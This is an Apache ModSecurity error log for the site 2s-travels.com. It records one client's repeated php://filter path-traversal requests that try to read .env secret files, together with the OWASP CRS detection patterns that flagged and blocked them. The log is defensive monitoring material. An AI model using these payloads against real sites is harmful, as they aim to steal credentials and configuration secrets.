[Fri Jul 17 08:55:11.999284 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:debug. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:debug: php://filter/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglxAi3pC6yjXGNq2AdQAAAAU"]
[Fri Jul 17 08:55:11.999287 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:debug. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:debug: php://filter/convert.iconv.utf-8.utf-7/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl-Ypb_TFRze2EO3zWwAAAAE"]
[Fri Jul 17 08:55:11.999381 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgl0gVnBK6wAv37w6sKQAAABQ"]
[Fri Jul 17 08:55:11.999638 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:debug. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:debug: php://filter/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglxAi3pC6yjXGNq2AdQAAAAU"]
[Fri Jul 17 08:55:11.999640 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:debug. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:debug: php://filter/convert.iconv.utf-8.utf-7/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl-Ypb_TFRze2EO3zWwAAAAE"]
[Fri Jul 17 08:55:12.000678 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl-Ypb_TFRze2EO3zWwAAAAE"]
[Fri Jul 17 08:55:12.000828 2026] [hostinglimits:warn] [pid 2023579:tid 2023579] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2023579) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:12.001169 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgl-Ypb_TFRze2EO3zWwAAAAE"]
[Fri Jul 17 08:55:12.002644 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglxAi3pC6yjXGNq2AdQAAAAU"]
[Fri Jul 17 08:55:12.002856 2026] [hostinglimits:warn] [pid 1993668:tid 1993668] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993668) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:12.003444 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almglxAi3pC6yjXGNq2AdQAAAAU"]
[Fri Jul 17 08:55:12.006815 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:debug. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:debug: php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmIZvbo7N5o5zeYC-OwAAABw"]
[Fri Jul 17 08:55:12.006816 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&debug=php%3A%2F%2Ffilter%2Fconvert.iconv.utf-8.utf-16le%2Fconvert.base64-encode%2Fresource%3D..%2F..%2F.env&cb=M6eesZL3BtVsYvErLwEVeEJ8WydzzA0iQU5hEBJoddVgWbC4fYcMxr12MwFl-hSYAJ7B9GD3LUlaznx-40I4re2wS3yDBpe-JFTNy9FZrhiVDqkQoca98vngFCVK27nPzwz-Wmyv26fU2tfiUweFAIk2GBzm1URA-a2eIHuhfdn1AT5TOr4yIhueDro36LsHueHpk3TWyWlq32St-ay-NZUFFLiUAC-7X9R05FtY3CiSr0dEv_IjZMk9yB036bpKfN_7XTvZRiic0oBUQO2KbOSO&ref=RTCFYODLBALHBISMD3HTLTJ3K76HSHFQCDE5B7TI4O4PBHBO6HHT..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmFCBpfuYyhJ140vSfQAAAB4"]
[Fri Jul 17 08:55:12.006891 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:debug. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:debug: php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmFCBpfuYyhJ140vSfQAAAB4"]
[Fri Jul 17 08:55:12.006938 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&debug=php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../.env&cb=M6eesZL3BtVsYvErLwEVeEJ8WydzzA0iQU5hEBJoddVgWbC4fYcMxr12MwFl-hSYAJ7B9GD3LUlaznx-40I4re2wS3yDBpe-JFTNy9FZrhiVDqkQoca98vngFCVK27nPzwz-Wmyv26fU2tfiUweFAIk2GBzm1URA-a2eIHuhfdn1AT5TOr4yIhueDro36LsHueHpk3TWyWlq32St-ay-NZUFFLiUAC-7X9R05FtY3CiSr0dEv_IjZMk9yB036bpKfN_7XTvZRiic0oBUQO2KbOSO&ref=RTCFYODLBALHBISMD3HTLTJ3K76HSHFQCDE5B7TI4O4PBHBO6HHT3AQPXN5QZCG3UTSR6KOKZA6TJC..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmFCBpfuYyhJ140vSfQAAAB4"]
[Fri Jul 17 08:55:12.006960 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&debug=php%3A%2F%2Ffilter%2Fconvert.iconv.utf-8.utf-16le%2Fconvert.base64-encode%2Fresource%3D..%2F..%2F..%2F.env&sid=vEC6k8_1RVuK5WThj8f6b0SlYkBgb-_mVACiXEVvivANAOPYOtelp5K0ZkQhbgA1YzEolbhIcNNS-1mqgEFewqFGkqb5fYvJdjFSDQw06x1LaZ5P0_cjutj2Pe3DlSWMsm7fdQwMaeKWzpNXzmYdTX98SMBx8nIwDPjgwsEdE1kc1tzgH5J1q5dQUFhhghkUwoZvyb5uvgNlw-Je96sj3aQvMgWA6VoJ7hW5-fKKdmhFKTKgIEIRFnxntmU6RofZxL7shWdCiEIjqU3Qkt1AF5bY&anything=ESTAMQVJYGITF5NY3SZJ772GEOQRPBOHRSKQMUPGC..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmFh1WDijTxd1xw5MPQAAAAc"]
[Fri Jul 17 08:55:12.006964 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&debug=php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../.env&cb=m6eeszl3btvsyverlweveej8wydzza0iqu5hebjoddvgwbc4fycmxr12mwfl-hsyaj7b9gd3lulaznx-40i4re2ws3ydbpe-jftny9fzrhivdqkqoca98vngfcvk27npzwz-wmyv26fu2tfiuwefaik2gbzm1ura-a2eihuhfdn1at5tor4yihuedro36lshuehpk3twywlq32st-ay-nzuffliuac-7x9r05fty3cisr0dev_ijzmk9yb036bpkfn_7xtvzriic0obuqo2kboso&ref=rtcfyodlbalhbismd3htltj3k76hshfqcde5b7ti4o4pbhbo6hht3aqpxn5qzcg3utsr6kokza6tjc..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmFCBpfuYyhJ140vSfQAAAB4"]
[Fri Jul 17 08:55:12.007006 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:debug. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:debug: php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmFh1WDijTxd1xw5MPQAAAAc"]
[Fri Jul 17 08:55:12.007016 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:debug. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:debug: php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmFCBpfuYyhJ140vSfQAAAB4"]
[Fri Jul 17 08:55:12.007056 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:debug. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:debug: php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmFCBpfuYyhJ140vSfQAAAB4"]
[Fri Jul 17 08:55:12.007062 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&debug=php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../../.env&sid=vEC6k8_1RVuK5WThj8f6b0SlYkBgb-_mVACiXEVvivANAOPYOtelp5K0ZkQhbgA1YzEolbhIcNNS-1mqgEFewqFGkqb5fYvJdjFSDQw06x1LaZ5P0_cjutj2Pe3DlSWMsm7fdQwMaeKWzpNXzmYdTX98SMBx8nIwDPjgwsEdE1kc1tzgH5J1q5dQUFhhghkUwoZvyb5uvgNlw-Je96sj3aQvMgWA6VoJ7hW5-fKKdmhFKTKgIEIRFnxntmU6RofZxL7shWdCiEIjqU3Qkt1AF5bY&anything=ESTAMQVJYGITF5NY3SZJ772GEOQRPBOHRSKQMUPGCOS2ZSAYRWVCOPFDVF6M54XR6XPBB..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmFh1WDijTxd1xw5MPQAAAAc"]
[Fri Jul 17 08:55:12.007107 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&debug=php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../../.env&sid=vec6k8_1rvuk5wthj8f6b0slykbgb-_mvacixevvivanaopyotelp5k0zkqhbga1yzeolbhicnns-1mqgefewqfgkqb5fyvjdjfsdqw06x1laz5p0_cjutj2pe3dlswmsm7fdqwmaekwzpnxzmydtx98smbx8niwdpjgwsede1kc1tzgh5j1q5dqufhhghkuwozvyb5uvgnlw-je96sj3aqvmgwa6voj7hw5-fkkdmhfktkgieirfnxntmu6rofzxl7shwdcieijqu3qkt1af5by&anything=estamqvjygitf5ny3szj772geoqrpbohrskqmupgcos2zsayrwvcopfdvf6m54xr6xpbb..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmFh1WDijTxd1xw5MPQAAAAc"]
[Fri Jul 17 08:55:12.007136 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:debug. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:debug: php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmFh1WDijTxd1xw5MPQAAAAc"]
[Fri Jul 17 08:55:12.007162 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:debug. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:debug: php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmFh1WDijTxd1xw5MPQAAAAc"]
[Fri Jul 17 08:55:12.007374 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:debug. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:debug: php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmFCBpfuYyhJ140vSfQAAAB4"]
[Fri Jul 17 08:55:12.007459 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:debug. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:debug: php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmFh1WDijTxd1xw5MPQAAAAc"]
[Fri Jul 17 08:55:12.007667 2026] [security2:error] [pid 2029579:tid 2029579] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:debug. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:debug: php://filter/convert.iconv.UCS-2LE.UCS-2BE/convert.base64-encode/resource=../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmCRF0UOO1RzB5_8t8QAAAA4"]
[Fri Jul 17 08:55:12.007837 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmIZvbo7N5o5zeYC-OwAAABw"]
[Fri Jul 17 08:55:12.007955 2026] [hostinglimits:warn] [pid 2014256:tid 2014256] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2014256) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:12.008258 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgmIZvbo7N5o5zeYC-OwAAABw"]
